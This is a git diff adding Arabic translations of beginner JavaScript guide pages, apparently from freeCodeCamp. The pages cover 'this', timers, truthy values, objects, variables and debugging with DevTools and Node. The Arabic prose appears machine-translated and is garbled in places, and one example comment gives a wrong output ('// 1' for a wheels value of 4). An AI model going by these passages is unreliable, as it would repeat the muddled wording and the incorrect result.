+*   `fn.call(thisObj, fnParam1, fnParam2)` `.call()` : `fn.call(thisObj, fnParam1, fnParam2)`
+*   `.apply()` : `fn.apply(thisObj, [fnParam1, fnParam2])`
+*   `.bind()` : `const newFn = fn.bind(thisObj, fnParam1, fnParam2)`
+
+### القاعدة 4
+
+ `function Point2D(x, y) { 
+  this.x = x; 
+  this.y = y; 
+ } 
+ 
+ var p1 = new Point2D(1, 2); 
+ console.log(p1.x); // 1 
+ console.log(p1.y); // 2 
+` 
+
+الشيء الذي يجب أن تلاحظه هو الدالة `Point2D` التي يتم `Point2D` رئيسية `new` ، `this` المرجع مرتبط بـ كائن `p1` . لذلك عندما يتم استدعاء دالة بكلمة رئيسية `new` ، فإنها ستنشئ كائنًا جديدًا وستكون `this` الإشارة مرتبطة بهذا الكائن.
+
+ملاحظة: عند استدعاء وظيفة بكلمة رئيسية `new` ، فإننا نسميها أيضًا _كوظيفة مُنشئ_ .
+
+### القاعدة 5
+
+تحدد جافا سكريبت قيمة `this` في وقت التشغيل ، بناءً على السياق الحالي. لذلك قد يشير `this` بعض الأحيان إلى شيء آخر غير ما تتوقعه.
+
+خذ بعين الاعتبار هذا المثال لفئة Cat باستخدام طريقة تسمى `makeSound()` ، متبعاً النمط في القاعدة 4 (أعلاه) مع دالة منشئ وكلمة رئيسية `new` .
+
+ `var Cat = function(name, sound) { 
+    this.name = name; 
+    this.sound = sound; 
+    this.makeSound = function() { 
+        console.log( this.name + ' says: ' + this.sound ); 
+    }; 
+ } 
+ var kitty = new Cat('Fat Daddy', 'Mrrooowww'); 
+ kitty.makeSound(); // Fat Daddy says: Mrrooowww 
+` 
+
+الآن دعونا نحاول إعطاء القطة وسيلة `annoy()` الناس عن طريق تكرار صوته 100 مرة ، مرة واحدة كل نصف ثانية.
+
+ ``var Cat = function(name, sound) { 
+    this.name = name; 
+    this.sound = sound; 
+    this.makeSound = function() { 
+        console.log( this.name + ' says: ' + this.sound ); 
+    }; 
+    this.annoy = function() { 
+        var count = 0, max = 100; 
+        var t = setInterval(function() { 
+            this.makeSound(); // <-- this line fails with `this.makeSound is not a function` 
+            count++; 
+            if (count === max) { 
+                clearTimeout(t); 
+            } 
+        }, 500); 
+    }; 
+ } 
+ var kitty = new Cat('Fat Daddy', 'Mrrooowww'); 
+ kitty.annoy(); 
+`` 
+
+لا يعمل ذلك لأننا قمنا بإنشاء سياق جديد بنطاق عالمي داخل الاستدعاء `setInterval` ، لذا لم يعد `this` يشير إلى مثيلتنا. في مستعرض ويب ، `makeSound()` `this` بدلاً من ذلك إلى كائن الإطار ، الذي لا يحتوي على أسلوب `makeSound()` .
+
+طريقتان لجعلها تعمل:
+
+1) قبل إنشاء إطار جديد، تعيين `this` إلى متغير محلي يدعى `me` ، أو `self` ، أو ما تريد أن نسميها، واستخدام هذا المتغير داخل الاستدعاء.
+
+ `var Cat = function(name, sound) { 
+    this.name = name; 
+    this.sound = sound; 
+    this.makeSound = function() { 
+        console.log( this.name + ' says: ' + this.sound ); 
+    }; 
+    this.annoy = function() { 
+        var count = 0, max = 100; 
+        var self = this; 
+        var t = setInterval(function() { 
+            self.makeSound(); 
+            count++; 
+            if (count === max) { 
+                clearTimeout(t); 
+            } 
+        }, 500); 
+    }; 
+ } 
+ var kitty = new Cat('Fat Daddy', 'Mrrooowww'); 
+ kitty.annoy(); 
+` 
+
+2) باستخدام ES6 ، يمكنك تجنب تعيين `this` للمتغير المحلي باستخدام وظيفة السهم ، والتي تربط `this` بسياق الرمز المحيط حيث تم تعريفه.
+
+ `var Cat = function(name, sound) { 
+    this.name = name; 
+    this.sound = sound; 
+    this.makeSound = function() { 
+        console.log( this.name + ' says: ' + this.sound ); 
+    }; 
+    this.annoy = function() { 
+        var count = 0, max = 100; 
+        var t = setInterval(() => { 
+            this.makeSound(); 
+            count++; 
+            if (count === max) { 
+                clearTimeout(t); 
+            } 
+        }, 500); 
+    }; 
+ } 
+ var kitty = new Cat('Fat Daddy', 'Mrrooowww'); 
+ kitty.annoy(); 
+` 
+
+### موارد آخرى
+
+*   [javascriptissexy.com](http://javascriptissexy.com/understand-javascripts-this-with-clarity-and-master-it/)
+*   [أنت لا تعرف شبيبة](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20%26%20object%20prototypes/ch2.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/timing-events/index.md b/client/src/guide/arabic/javascript/timing-events/index.md
new file mode 100644
index 0000000000..2e90fda7d0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/timing-events/index.md
@@ -0,0 +1,68 @@
+---
+title: Timing Events
+localeTitle: أحداث التوقيت
+---
+## أحداث التوقيت
+
+يستخدم المبرمجون أحداث التوقيت لتأخير تنفيذ التعليمات البرمجية أو تكرار التعليمات البرمجية في فاصل زمني محدد.
+
+هناك وظيفتان أصليتان في مكتبة JavaScript المستخدمة لإنجاز هذه المهام: `setTimeout()` و `setInterval()` .
+
+يمكنك استخدام `setTimeout()` لتأخير تنفيذ الدالة التي تم تمريرها بواسطة مقدار محدد من الوقت. هناك `setTimeout()` يمكنك `setTimeout()` إلى `setTimeout()` : الوظيفة التي تريد الاتصال بها ، ومقدار الوقت بالمللي ثانية. (هناك 1000 ميلي ثانية (مللي ثانية) في ثانية 1. Ex: 5000 ms = 5 ثوان. `setTimeout()` سيتم تنفيذ `setTimeout()` مرة واحدة بعد انقضاء الوقت المحدد.
+
+مثال `setTimeout()` :
+
+ `var timeoutID; 
+ 
+ function delayTimer() { 
+  timeoutID = setTimeout(delayedFunction, 3000); 
+ } 
+ 
+ function delayedFunction() { 
+  alert(“Three seconds have elapsed.”); 
+ } 
+` 
+
+عندما يتم استدعاء الدالة delayTimer فإنه سيتم تشغيل setTimeout. بعد مرور 3 ثوانٍ ، سيتم تنفيذ الأمر delayedFunction الذي سيرسل تنبيهًا.
+
+استخدم `setInterval()` لتحديد وظيفة لتكرار مع تأخير زمني بين execuions. مرة أخرى ، يتم تمرير معلمتين إلى `setInterval()` : الدالة التي تريد الاتصال بها ومقدار الوقت بالمللي ثانية. سيستمر `setInterval()` في التنفيذ حتى يتم مسحها.
+
+مثال `setInterval()` :
+
+ `var intervalID; 
+ 
+ function repeatEverySecond() { 
+  intervalID = setInterval(sendMessage, 1000); 
+ } 
+ 
+ function sendMessage() { 
+  console.log(“One second elapsed.”); 
+ } 
+` 
+
+عند استدعاء التعليمات البرمجية الخاصة بك الدالة repeatEverySecond سيتم تشغيله setInterval. سوف setInterval تشغيل وظيفة sendMessage كل 1000 ميلي ثانية.
+
+هناك أيضا الوظائف الأصلية المقابلة لوقف أحداث التوقيت: `clearTimeout()` و `clearInterval()` .
+
+ربما لاحظت أن كل دالة مؤقت يتم حفظها إلى متغير. عند تشغيل وظيفة المجموعة ، يتم تعيين رقم يتم حفظه لهذا المتغير. هذا العدد المولد فريد لكل مثيل من المؤقتات. هذا الرقم المخصص هو أيضًا كيفية تحديد الموقتات التي يتم إيقافها. لهذا السبب ، يجب عليك دائمًا ضبط المؤقت على متغير.
+
+لتوضيح التعليمة البرمجية الخاصة بك ، يجب أن تتطابق دائمًا مع `clearTimeout()` إلى `setTimeout()` و `clearInterval()` إلى `setInterval()` .
+
+لإيقاف جهاز ضبط الوقت ، قم بالاتصال بالوظيفة المقابلة المناظرة واجتياز متغير معرف المؤقت الذي يطابق المؤقت الذي ترغب في إيقافه. بناء جملة `clearInterval()` و `clearTimeout()` هي نفسها.
+
+مثال:
+
+ `var timeoutID; 
+ 
+ function delayTimer() { 
+  timeoutID = setTimeout(delayedFunction, 3000); 
+ } 
+ 
+ function delayedFunction() { 
+  alert(“Three seconds have elapsed.”); 
+ } 
+ 
+ function clearAlert() { 
+  clearTimeout(timeoutID); 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/truth-table/index.md b/client/src/guide/arabic/javascript/truth-table/index.md
new file mode 100644
index 0000000000..01ea3c5814
--- /dev/null
+++ b/client/src/guide/arabic/javascript/truth-table/index.md
@@ -0,0 +1,9 @@
+---
+title: Truth Table
+localeTitle: جدول الحقيقة
+---
+![جدول يوضح معاملات جافا سكريبت صحيحة و خاطئة.](//discourse-user-assets.s3.amazonaws.com/original/2X/f/ff2c78476742e6e677e5c714341ff37e9f60c951.png)
+
+لهذا السبب يجب عليك دائما استخدام `===` و `!==` .
+
+المصدر: [https://dorey.github.io/JavaScript-Equality-Table/](https://dorey.github.io/JavaScript-Equality-Table/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/truthy-values/index.md b/client/src/guide/arabic/javascript/truthy-values/index.md
new file mode 100644
index 0000000000..4708a4e5d8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/truthy-values/index.md
@@ -0,0 +1,17 @@
+---
+title: Truthy Value
+localeTitle: قيمة الحقيقة
+---
+قيمة **true** هي قيمة تترجم إلى **true** عند تقييمها في سياق _منطقي_ .
+
+جميع القيم **صحيحة** ما لم يتم تعريفها على أنها **كاذبة** (أي ما عدا `false` و `0` و `""` و `null` و `undefined` و `NaN` ).
+
+بعض القيم **الصادقة** مثيرة للاهتمام هي:
+
+'0' (سلسلة تحتوي على صفر واحد) "false" (سلسلة تحتوي على النص "false") \[\] (صفيف فارغ) {} (كائن فارغ) function () {} (دالة "فارغة")
+
+وبالتالي يمكن استخدام قيمة واحدة في الظروف ، على سبيل المثال
+
+إذا (قيمة) { // القيمة هي الحقيقة } else { // قيمة كاذبة / / يمكن أن يكون كاذباً ، أو 0 ، أو '' ، أو خالٍ ، أو غير محدد ، أو NaN }
+
+انظر أيضا: falsy | [MDN](https://developer.mozilla.org/en-US/docs/Glossary/Truthy)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/add-new-properties-to-a-javascript-object/index.md b/client/src/guide/arabic/javascript/tutorials/add-new-properties-to-a-javascript-object/index.md
new file mode 100644
index 0000000000..e669538213
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/add-new-properties-to-a-javascript-object/index.md
@@ -0,0 +1,23 @@
+---
+title: Add New Properties to a JavaScript Object
+localeTitle: أضف خصائص جديدة إلى كائن JavaScript
+---
+يمكنك إضافة خصائص جديدة إلى كائنات JavaScript الموجودة بالطريقة نفسها التي يمكنك تعديلها بها.
+
+هناك نوعان مختلفان من البُنى التركيبية ، وتدوين النقاط ، وتدوين القوس. يفضل الترميز النقطي بشكل عام لقابلية القراءة ولكن يجب أن تكون الخصائص معرفًا صالحًا.
+
+إليك كيفية استخدام ميزة التدوين النقطي:
+
+ `myDog.bark = "woof-woof"; 
+` 
+
+إليك كيفية استخدام تدرج قوس:
+
+ `myObject['bark'] = "woof-woof"; 
+` 
+
+باستخدام تدرج القوس ، يمكننا استخدام المتغيرات كأسماء للممتلكات:
+
+ `var dynamicProperty = "bark"; 
+ myObject[dynamicProperty] = "woof-woof"; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/add-two-numbers-with-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/add-two-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..4b0f8bf5e9
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/add-two-numbers-with-javascript/index.md
@@ -0,0 +1,8 @@
+---
+title: Add Two Numbers with JavaScript
+localeTitle: أضف رقمين مع JavaScript
+---
+تستخدم JavaScript الرمز `+` للإضافة. ويمكن أيضا أن تستخدم بدلا من `parseInt()` ولكن هذا هو أبعد من هذا.
+
+ `var sum = 10 + 10; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/build-javascript-objects/index.md b/client/src/guide/arabic/javascript/tutorials/build-javascript-objects/index.md
new file mode 100644
index 0000000000..27357ce3dd
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/build-javascript-objects/index.md
@@ -0,0 +1,28 @@
+---
+title: Build JavaScript Objects
+localeTitle: بناء كائنات جافا سكريبت
+---
+تُعد الكائنات مفيدة لتخزين البيانات بطريقة منظمة ، ويمكن استخدامها لتمثيل كائنات العالم الحقيقي ، مثل السيارات أو الفنادق إلى جهاز الكمبيوتر.
+
+تشبه الكائنات الصفائف ، إلا أنه بدلاً من استخدام الفهارس للوصول إلى بياناتها وتعديلها ، يمكنك الوصول إلى البيانات الموجودة في الكائنات من خلال ما يسمى الخصائص. هناك طريقتان رئيسيتان لإنشاء الكائنات: Object Literal والطريقة Constructor.
+
+باستخدام طريقة الكائن الحرفي ، إليك كيفية إنشاء كائن عينة:
+
+ `var cat = { 
+    name: "Whiskers", 
+    legs: 4, 
+    tails: 1, 
+    enemies: ["Water", "Dogs"] 
+ }; 
+` 
+
+باستخدام طريقة Constructor ، إليك كيفية إنشاء كائن عينة:
+
+ `var cat = new Object(); 
+ cat.name = "Whiskers"; 
+ cat.legs = 4; 
+ cat.tails = 1; 
+ cat.enemies = ["Water", "Dogs"]; 
+` 
+
+في طريقة Constructor ، نستخدم الكلمة الرئيسية `new` مع `Object` (باستخدام رأس المال "O") لإنشاء مثيل كائن جديد. بعد ذلك ، نستخدم الترميز النقطي لتعيين أسماء الخصائص وقيمها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/comment-your-javascript-code/index.md b/client/src/guide/arabic/javascript/tutorials/comment-your-javascript-code/index.md
new file mode 100644
index 0000000000..74a5f43741
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/comment-your-javascript-code/index.md
@@ -0,0 +1,20 @@
+---
+title: Comment Your JavaScript Code
+localeTitle: تعليق كود جافاسكريبت الخاص بك
+---
+التعليقات هي طريقة رائعة لترك ملاحظاتك لنفسك وللآخرين الذين سيحتاجون لاحقًا إلى معرفة ما يفعلون. سيتم تجاهل أي رمز في ذلك.
+
+لنلقِ نظرة على الطريقتين اللتين يمكنك من خلالهما كتابة التعليقات في جافا سكريبت.
+
+*   سيعلق التعليق المزدوج على باقي النص في السطر الحالي:
+
+`// This is a single line comment.`
+
+*   سيعلق تعليق slash-star-star-slash كل شيء بين `/*` و `*/` characters:
+
+ `/* 
+ This is 
+ a multi-line comment 
+ (comment block) 
+ */ 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/construct-javascript-objects-with-functions/index.md b/client/src/guide/arabic/javascript/tutorials/construct-javascript-objects-with-functions/index.md
new file mode 100644
index 0000000000..9c142a9ab3
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/construct-javascript-objects-with-functions/index.md
@@ -0,0 +1,17 @@
+---
+title: Construct JavaScript Objects with Functions
+localeTitle: بناء كائنات جافا سكريبت مع وظائف
+---
+باستخدام أدوات البناء ، من السهل إنشاء كائنات جديدة باستخدام مخطط أو مُنشئ. بناء جملة التصريح مختلف قليلاً ولكن لا يزال من السهل تذكره.
+
+ `// Let's add the properties engines and seats to the car in the same way that the property wheels has been added below. They should both be numbers. 
+ var Car = function() { 
+  this.wheels = 4; 
+  this.engines = 1; 
+  this.seats = 1; 
+ }; 
+ 
+ var myCar = new Car(); 
+` 
+
+عادةً ما يبدأ اسم دالة المُنشئ بحرف كبير (بخلاف الدالات الأخرى ، التي تميل إلى البدء بحرف صغير). من المفترض أن يساعد الحرف الكبير في تذكير المطورين باستخدام الكلمة الأساسية الجديدة عند قيامهم بإنشاء كائن باستخدام هذه الوظيفة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/create-a-javascript-slot-machine/index.md b/client/src/guide/arabic/javascript/tutorials/create-a-javascript-slot-machine/index.md
new file mode 100644
index 0000000000..5c032c50c6
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/create-a-javascript-slot-machine/index.md
@@ -0,0 +1,10 @@
+---
+title: Create a JavaScript Slot Machine
+localeTitle: قم بإنشاء ماكينة Slot JavaScript
+---
+لهذا علينا أن نولد ثلاثة أرقام عشوائية باستخدام الصيغة التي تعطيناها وليس المعادلة العامة. `Math.floor(Math.random() * (3 - 1 + 1)) + 1;`
+
+ `slotOne = Math.floor(Math.random() * (3 - 1 + 1)) + 1; 
+ slotTwo = Math.floor(Math.random() * (3 - 1 + 1)) + 1; 
+ slotThree = Math.floor(Math.random() * (3 - 1 + 1)) + 1; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/create-decimal-numbers-with-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/create-decimal-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..7b366f4741
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/create-decimal-numbers-with-javascript/index.md
@@ -0,0 +1,8 @@
+---
+title: Create Decimal Numbers with JavaScript
+localeTitle: قم بإنشاء أرقام عشرية باستخدام جافا سكريبت
+---
+يمكن أن تحتوي متغيرات رقم جافا سكريبت على أرقام عشرية.
+
+ `var myDecimal = 2.8; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/debugging-javascript-with-browser-devtools/index.md b/client/src/guide/arabic/javascript/tutorials/debugging-javascript-with-browser-devtools/index.md
new file mode 100644
index 0000000000..a49f800c47
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/debugging-javascript-with-browser-devtools/index.md
@@ -0,0 +1,90 @@
+---
+title: Debugging JavaScript with Browser Devtools
+localeTitle: تصحيح JavaScript باستخدام متصفح Devtools
+---
+كمطور ، ستحتاج غالبًا إلى تصحيح التعليمات البرمجية. ربما تكون قد استخدمت بالفعل `console.log` في بعض التحديات ، وهي أبسط طريقة لتصحيح الأخطاء.
+
+في هذه المقالة سنخبرك ببعض من أروع الحيل ، لتصحيح الأخطاء باستخدام أدوات تصحيح الأخطاء الأصلية للمتصفحات.
+
+## نظرة سريعة على محرر Code FreeCodeCamp:
+
+قبل القفز إلى تصحيح الأخطاء ، يتسنى لنا تسريب بعض الحقائق السرية عن _محرك فحص الشفرة الرائع_ في FCC.
+
+نحن نستخدم [CodeMirror](http://codemirror.net/mode/javascript/index.html) مخصصة ، كمحرر التعليمات البرمجية. يتم استخدام [دالة `eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) لتقييم شفرة جافا سكريبت ممثلة كسلسلة من المحرر. عندما يتم استدعاء `eval()` ، ستنفذ المستعرضات التعليمات البرمجية الخاصة بك. سنتعلم المزيد عن سبب أهمية هذا السر في الأقسام اللاحقة من هذه المقالة.
+
+## الآن ننتقل إلى الحيل:
+
+## جوجل كروم DevTools
+
+يُعد Google Chrome أحد المتصفحات الأكثر شيوعًا باستخدام محرك جافا سكريبت مدمج يُسمى [V8](https://developers.google.com/v8/) ، ويوفر مجموعة أدوات رائعة للمطورين تسمى [Chrome DevTools](https://developer.chrome.com/devtools) . نوصيك بشدة بزيارة [دليل تصحيح أخطاء جافا سكريبت الكامل](https://developer.chrome.com/devtools/docs/javascript-debugging) .
+
+### 1: أساسيات DevTools
+
+#### إطلاق Chrome DevTools
+
+ضرب `F12`
+
+. بدلا من ذلك يمكنك الضغط
+
+`Ctrl` + `Shift` + `I`
+
+على ويندوز ولينكس أو
+
+`Cmd` + `Shift` + `I`
+
+على جهاز Mac أو إذا كنت تحب الماوس فقط ، فانتقل إلى `Menu > More Tools > Developer Tools` .
+
+#### التعرف على `Sources` وعلامات تبويب `console` .
+
+هاتين العلامتين هي ربما ستكون أفضل أصدقائك أثناء تصحيح الأخطاء. يمكن استخدام علامة تبويب `Sources` لتصور جميع النصوص البرمجية الموجودة على صفحة الويب التي تزورها. تحتوي علامة التبويب هذه على أقسام لإطار التعليمات البرمجية ، وشجرة الملفات ، ومكالمات المكالمة ، ونوافذ المراقبة ، إلخ.
+
+علامة تبويب `console` هي المكان الذي ينتقل فيه كل خرج السجل. بالإضافة إلى ذلك ، يمكنك استخدام مطالبة علامة تبويب وحدة التحكم لتنفيذ تعليمات جافا سكريبت. نوعه من المترادفة لموجه الأوامر على ويندوز ، أو محطة على لينكس.
+
+_نصيحة: يمكنك تبديل وحدة التحكم في أي وقت في DevTools باستخدام مفتاح `Esc` ._
+
+### 2: اختصارات وميزات مشتركة
+
+في حين يمكنك زيارة [القائمة الكاملة للاختصارات](https://developers.google.com/web/tools/chrome-devtools/iterate/inspect-styles/shortcuts) ، وفيما يلي عدد قليل من الاستخدامات الأكثر استخدامًا:
+
+ميزة ويندوز ، لينكس ماك  
+البحث عن كلمة رئيسية ، يتم دعم regex. `Ctrl` + `F``Cmd` + `F`  
+بحث وفتح ملف `Ctrl` + `P``Cmd` + `P`  
+الانتقال إلى الخط `Ctrl` + `G` + `:line_no``Cmd` + `G` + `:line_no`  
+أضف نقطة توقف `Ctrl` + `B` ، أو انقر فوق السطر no. `Cmd` + `B` ، أو انقر فوق السطر no.  
+Pause / استئناف تنفيذ البرنامج النصي `F8` `F8`  
+الخطوة فوق الوظيفة التالية استدعاء `F10` `F10`  
+ادخل إلى الوظيفة التالية اتصل بـ `F11` `F11`
+
+### 3: استخدام خريطة المصدر لقواعدنا
+
+واحدة من أروع الميزات التي ستحبها هي [تصحيح السيناريو الديناميكي](https://developer.chrome.com/devtools/docs/javascript-debugging#breakpoints-dynamic-javascript) ، على الطاير ، عبر تطبيق [Source Maps](https://developer.chrome.com/devtools/docs/javascript-debugging#source-maps) .
+
+يمكن تصور كل نص برمجي في علامة التبويب المصدر في DevTools. تحتوي علامة التبويب المصدر على جميع ملفات مصدر JavaScript. ولكن يتم تنفيذ التعليمات البرمجية من محرر التعليمة البرمجية عبر `eval()` في حاوية ببساطة تسمى الجهاز الظاهري (VM) داخل عملية المستعرض.
+
+كما قد تكون قد خمنت الآن ، فإن الكود هو في الواقع برنامج نصي لا يحتوي على اسم ملف. لذلك لا نرى ذلك في علامة التبويب المصدر.
+
+> ![:sparkles:](//forum.freecodecamp.com/images/emoji/emoji_one/sparkles.png?v=2 ": البريق:") **_هنا يأتي الاختراق!_** ![:sparkles:](//forum.freecodecamp.com/images/emoji/emoji_one/sparkles.png?v=2 ": البريق:")
+
+يجب أن نستخدم `Source Maps` لتعيين اسم لجافا سكريبت من محررنا. انها بسيطة جدا:
+
+دعنا نقول نحن على التحدي [Factorialize](https://www.freecodecamp.com/challenges/factorialize-a-number) ، [وكودنا](https://www.freecodecamp.com/challenges/factorialize-a-number) يشبه هذا:
+
+ `function factorialize(num) { 
+  if(num <= 1){ 
+  ... 
+ } 
+ factorialize(5); 
+` 
+
+كل ما نحتاج إلى فعله هو إضافة `//# sourceURL=factorialize.js` إلى الجزء العلوي من الشفرة ، أي السطر الأول:
+
+ `//# sourceURL=factorialize.js 
+ 
+ function factorialize(num) { 
+  if(num <= 1){ 
+  ... 
+` 
+
+> ![:sparkles:](//forum.freecodecamp.com/images/emoji/emoji_one/sparkles.png?v=2 ": البريق:") **_و Eureka هذا كل شيء!_** ![:sparkles:](//forum.freecodecamp.com/images/emoji/emoji_one/sparkles.png?v=2 ": البريق:")
+
+الآن افتح DevTools وابحث عن اسم الملف. أضف نقاط كسر ، تصحيح بعيدا والتمتع به!
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/debugging-node-files-using-cli-commands/index.md b/client/src/guide/arabic/javascript/tutorials/debugging-node-files-using-cli-commands/index.md
new file mode 100644
index 0000000000..e691a2bfb0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/debugging-node-files-using-cli-commands/index.md
@@ -0,0 +1,45 @@
+---
+title: Debugging Node files using CLI commands
+localeTitle: تصحيح ملفات عقدة باستخدام أوامر CLI
+---
+## تصحيح ملفات عقدة باستخدام أوامر CLI
+
+ستتعرف في هذا البرنامج التعليمي على كيفية تصحيح رمز Node.js الخاص بك في سطر الأوامر. يمكن تصحيح أخطاء شفرة JavaScript البسيطة بسهولة باستخدام DevTools الخاص بالمتصفح. بالنسبة للعقدة ، يمكنك تصحيح التعليمات البرمجية بدون ترك واجهة سطر الأوامر (CLI).
+
+لنفترض أن لديك ملفًا باسم `contents.js` . يمكنك تشغيل الملف باستخدام أمر `node` .
+
+ `node contents.js 
+` 
+
+يجب أن يكون هذا معروفًا لك منذ كتابة رمز Node.js. والآن يجب تصحيح أي أخطاء تنبثق. لتشغيل الملف في وضع التصحيح إلحاق الكلمة `inspect` أثناء تشغيل الملف.
+
+ `node inspect contents.js 
+` 
+
+الآن سيفتح هذا الأمر ملفك في وضع التصحيح. من الآن فصاعدًا ، يمكنك التنقل خلال سطر واحد من الكود في كل مرة بالضغط على المفتاح **N** في لوحة المفاتيح.
+
+سيبدأ مصحح الأخطاء في السطر الأول. بالضغط على **N** ، يمكنك نقل المصحح إلى السطر التالي. إذا كان هناك خطأ في السطر الأول ، فسيظهر خطأ بدلاً من الانتقال إلى السطر الثاني. هذا مفيد جدا. على سبيل المثال ، إذا حدث خطأ في السطر السابع عشر ، فسوف يظهر لك الخطأ قبل الانتقال إلى الأمام.
+
+يمكن أن يكون هناك خطأ في المنطق الخاص بك ، بمعنى أنك تريد عرض قيمة معينة ولكن بدلاً من ذلك تعرض قيمة مختلفة. في هذه الحالة ، قد تساعدك إضافة `console.log()` s ومع وضع التصحيح ، يصبح من الأسهل التعرف على سبب الخطأ.
+
+* * *
+
+الآن في بعض الأحيان ، يحدث أن شفرة المصدر الخاصة بك ضخمة. تذهب إلى وضع التصحيح لتصحيح الأخطاء الخاصة بك وأنت على يقين من أن الخطأ هو من وظيفة على السطر 52. ولكن منذ وضع التصحيح يبدأ في السطر 1 ، هل لديك أي خيار سوى زيارة السطر 52 واحدا تلو الآخر؟ بالطبع لا!
+
+ما عليك سوى إضافة `debugger` الكلمات الرئيسية قبل الوظيفة.
+
+ `console.log("Outside the function....everything's going smoothly"); 
+ 
+ debugger; 
+ 
+ function doesSomething() { 
+    //some logic 
+    console.log("Something went wrong inside here!"); 
+ } 
+` 
+
+الآن افتح الملف مرةً أخرى في وضع التصحيح ، ثم اضغط **C** على لوحة المفاتيح هذه المرة.
+
+نقل **N** ينقل المصحح إلى السطر التالي ثم الضغط على **C** بإعلام المصحح للانتقال خلال التعليمات البرمجية بالكامل دفعة واحدة. هذا هو نفس تشغيل دون وضع التصحيح. _ولكن_ ، يحتوي كودك على إضافة هذه المرة. كنت تفكر في ذلك - الكلمة الأساسية `debugger` . ضغط **C** عادةً تشغيل التعليمات البرمجية حتى النهاية ولكن بسبب إضافة `debugger` ، فإنه سيتم إيقاف اليمين قبل بدء تشغيل الدالة.
+
+لذلك بعد تشغيل الملف في وضع التصحيح ، سيؤدي الضغط على **C** إلى تخطي التعليمة البرمجية والتوقف تمامًا قبل الوظيفة في الكلمة الرئيسية `debugger` . بعد ذلك ، يمكنك البدء من خلال خطوة واحدة في سطر واحد في كل مرة حتى يتم تحديد الخطأ الخاص بك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/declare-javascript-objects-as-variables/index.md b/client/src/guide/arabic/javascript/tutorials/declare-javascript-objects-as-variables/index.md
new file mode 100644
index 0000000000..20b29bfc73
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/declare-javascript-objects-as-variables/index.md
@@ -0,0 +1,30 @@
+---
+title: Declare JavaScript Objects as Variables
+localeTitle: قم بتعريف كائنات JavaScript كمتغيرات
+---
+هذا له تنسيق بسيط. تقوم بتعريف المتغير الخاص بك ويكون له مساوٍ لكائن في النموذج `{ key: value}`
+
+ `var car = { 
+  "wheels":4, 
+  "engines":1, 
+  "seats":5 
+ }; 
+` 
+
+يمكنك الوصول إلى خصائص الكائن باستخدام تدوين النقطة أو تدوين قوس.
+
+باستخدام ميزة التدوين النقطي:
+
+ `console.log(car.wheels); // 4 
+` 
+
+باستخدام تدرج قوس:
+
+ `console.log(car["wheels"]); // 1 
+` 
+
+استخدام تدرج قوس ديناميكي:
+
+ `var seatsProperty = "seats"; 
+ console.log(car[seatsProperty]); // 5 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/declare-javascript-variables/index.md b/client/src/guide/arabic/javascript/tutorials/declare-javascript-variables/index.md
new file mode 100644
index 0000000000..eb164bdb59
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/declare-javascript-variables/index.md
@@ -0,0 +1,88 @@
+---
+title: Declare Variables
+localeTitle: تعلن المتغيرات
+---
+# تعلن المتغيرات
+
+يمكن فرز تعريفات المتغير JavaScript إلى ثلاثة مكونات متميزة: نوع المتغير ، واسم المتغير ، وقيمة المتغير.
+
+ `    var myName = "Rafael"; 
+` 
+
+دعنا نكسر سطر الشفرة الموضح أعلاه في الأجزاء التي تصنعه:
+
+ `    var/const/let 
+` 
+
+يمكن أن تحتوي متغيرات JavaScript على ثلاثة أنواع تعريف: var و const و let. تعتبر متغيرات Var-type عالمية ، إذا تم الإعلان عنها خارج إحدى الوظائف ، فيمكن الوصول إليها بواسطة أي ملف JS (أو وحدة التحكم) ، وفي حالة إنشائها داخل إحدى الوظائف ، يمكن الوصول إليها بغض النظر عن نطاق المنع. تقتصر متغيرات Let-type على نطاقها. انظر المثال أدناه للاختلاف.
+
+ `     function varTest() { 
+      var x = 1; 
+      if (true) { 
+        var x = 2;  // same variable! 
+        console.log(x);  // 2 
+      } 
+      console.log(x);  // 2 
+    } 
+ 
+    function letTest() { 
+      let x = 1; 
+      if (true) { 
+        let x = 2;  // different variable 
+        console.log(x);  // 2 
+      } 
+      console.log(x);  // 1 
+    } 
+` 
+
+يكون للمتغيرات من نوع Const نفس النطاق مثل المتغيرات (نطاق الكتلة) ، لكنها غير قابلة للتغيير. أيا كانت القيمة التي يجب تعيين متغير نوع const ، يجب أن يحدث عندما يتم التصريح عن المتغير ، وستقوم JavaScript بإلقاء خطأ إذا تم تغيير المتغير في وقت لاحق.
+
+ `    const genre = "non-fiction"; 
+    console.log(genre); // "non-fiction"; 
+    genre = "fantasy"; // error 
+` 
+
